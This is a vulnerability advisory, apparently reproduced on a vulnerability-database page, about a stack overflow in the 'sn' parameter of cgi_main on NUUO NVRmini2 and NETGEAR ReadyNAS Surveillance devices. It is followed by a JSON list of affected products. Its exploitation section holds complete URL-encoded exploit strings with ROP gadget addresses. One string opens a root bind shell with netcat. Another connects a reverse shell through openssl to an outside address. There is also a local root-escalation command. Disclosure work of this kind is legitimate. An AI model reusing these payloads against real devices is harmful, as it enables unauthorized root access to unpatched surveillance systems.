aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0071",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.5.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.1.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.3.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.4.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.3.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.5.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.6.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.2.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.6.2"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.1.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.6.4"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.2.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.6.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.75"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.9"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.9.6"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.3.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.1.20"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.1.0.117"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "1.7.0"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.0.0 to 3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.0.0 to 3.0.0"
},
{
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2"
},
{
"model": "inc nvrsolo",
"scope": "gte",
"trust": 0.6,
"vendor": "nuuo",
"version": "1.0.0,\u003c=3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "CNNVD",
